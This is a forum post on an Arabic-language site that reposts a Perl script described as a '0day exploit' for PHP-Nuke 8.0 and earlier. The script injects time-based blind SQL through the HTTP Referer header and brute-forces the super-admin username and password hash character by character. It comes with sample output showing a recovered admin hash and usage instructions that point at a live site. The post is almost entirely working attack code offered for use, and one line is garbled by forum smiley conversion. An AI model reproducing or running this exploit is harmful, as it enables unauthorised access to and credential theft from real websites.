شلة شغلة

هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

تقنيين الحاسوب


    #!/usr/bin/perl

    avatar
    jojo


    المساهمات : 14
    تاريخ التسجيل : 27/12/2008

    #!/usr/bin/perl Empty #!/usr/bin/perl

    مُساهمة  jojo السبت يناير 24, 2009 11:42 am

    #!/usr/bin/perl
    #0day exploit for PHP-nuke <=8.0 Final
    #Blind sql injection attack in INSERT syntax
    #version for mysql >= 4.0.24, using 'brute force'
    #0day exploit for PHP-nuke <=8.0 Final
    #Sql injection attack in INSERT syntax
    #[+]Time normal query: 2 seconds
    #[+]Length user's record: 5
    #[+]Length password's record: 32
    #[+]Login:
    #admin
    #[+]Password:
    #b481ab90de84a345c665f1e4ef3c2
    #[+]Super admin:
    #admin:b481ab90de84a345c66585e1f4cf16e4
    use strict;
    use warnings;
    use LWP;
    my $offset=4;#It is the most important variable!!
    my $adres=shift or help();
    my $ua = LWP::UserAgent->new;
    my $zadanie = HTTP::Request->new(GET => $adres);
    my
    ($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,
    $hash,$referer,$czy_dziala,$znak);
    banner();
    $czas_nor=polacz("http://www.krasza.int.pl");
    print "[+]Time normal query: $czas_nor seconds\n";
    $dlugosc_user=ustal_dlugosc("aid",Cool;
    print "[+]Length user's record: $dlugosc_user\n";
    print "[+]Length password's record: 32\n";
    print "[+]Login:\n";
    $user=brute_force_aid($dlugosc_user);
    print "[+]Password:\n";
    $hash=brute_force_pass(32);
    print "[+]Super admin:\n";
    print "$user:$hash\n";
    ##
    sub brute_force_pass{
    my ($dlugosc)=@_;
    my ($i,$j,$referer,$wynik,$dolny_zakres);
    for($i=1;$i<=$dlugosc;$i++){
    for($j=48;$j<=122;$j++){

    $referer="http://www.krasza.int.pl'),(-1,
    (SELECTIF((ASCII(SUBSTRING(`pwd`,".$i.",
    1))=".$j.")
    & 1,
    benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE
    `radminsuper`=1))/*";
    $czy_dziala=czy_dziala($referer);
    if($czy_dziala==1){
    $znak=chr($j);
    print "$znak";
    $wynik.=$znak;
    if($i<$dlugosc){
    $i+=1;
    $j=47;
    }else{
    last;
    }
    }
    #przeskok-optymalizacja;]
    if($j==57){
    $j=96;
    }
    }
    }
    print "\n";
    return $wynik;
    }
    sub brute_force_aid{
    my ($dlugosc)=@_;
    my ($i,$j,$referer,$wynik,$dolny_zakres);
    for($i=1;$i<=$dlugosc;$i++){
    for($j=48;$j<=122;$j++){

    $referer="http://www.krasza.int.pl'),(-1,
    (SELECTIF((ASCII(SUBSTRING(`aid`,".$i.",
    1))=".$j.")
    & 1,
    benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE
    `radminsuper`=1))/*";
    $czy_dziala=czy_dziala($referer);
    if($czy_dziala==1){
    $znak=chr($j);
    print "$znak";
    $wynik.=$znak;
    if($i<$dlugosc){
    $i+=1;
    $j=47;
    }else{
    last;
    }
    }
    if($j==57){
    $j=64;
    }
    if($j==90){
    $j=96;
    }
    }
    }
    print "\n";
    return $wynik;
    }
    sub ustal_dlugosc{
    my ($pole,$len)=@_;
    my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
    $narazie_dziala_liczba=0;
    $nie_dziala_liczba=65;
    #for($len=1;$len<64;$len++){
    while($len<=64){
    if($narazie_dziala_liczba==$len ||
    $nie_dziala_liczba<=$len){
    return $narazie_dziala_liczba;
    }

    $referer="http://www.krasza.int.pl'),(-1,
    (SELECTIF((LENGTH(`".$pole."`)>".
    $len.")
    & 1, benchmark(50000000,CHAR(0)),0) FROM
    `nuke_authors` WHERE `radminsuper`=1))/*";
    $czy_dziala=czy_dziala($referer);
    if($czy_dziala==1){
    $narazie_dziala_liczba=$len+1;
    $len+=2;
    }else{
    $nie_dziala_liczba=$len+1;
    $len-=1;
    }
    }
    print "[-]Exploit Failed\n";
    exit;
    }
    sub czy_dziala{
    my ($refik)=@_;
    my $czas_zapytania;
    $czas_zapytania=polacz($refik);
    if($czas_zapytania>$czas_nor+$offset){
    return 1;
    }else{
    return 0;
    }
    }
    sub polacz{
    my ($referrer)=@_;
    my ($czas,$czas_poczatek,$czas_koniec);
    $zadanie->referer($referrer);
    $czas_poczatek=time();
    $respone=$ua->request($zadanie);
    $respone->is_success or die "$adres : ",$respone->message,"\n";
    $czas_koniec=time();
    $czas=$czas_koniec-$czas_poczatek;
    return $czas;
    }
    sub banner{
    print "0day exploit for PHP-nuke <=8.0 Final\n";
    print "Blind sql injection attack in INSERT syntax\n";
    print "version mysql >= 4.0.24, using 'brute force'\n";

    }
    sub help{
    print "0day exploit for PHP-nuke <=8.0 Final\n";
    print "Blind sql injection attack in INSERT syntax\n";
    print "version mysql >= 4.0.24, using 'brute force'\n";
    print "Use:\n";
    print "\tperl exploit.pl [url]\n";
    print "\t[url]-vicitim webpage with index.php\n";
    print "Example:\n";
    print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
    exit(0);
    }

      الوقت/التاريخ الآن هو الأحد نوفمبر 24, 2024 6:48 pm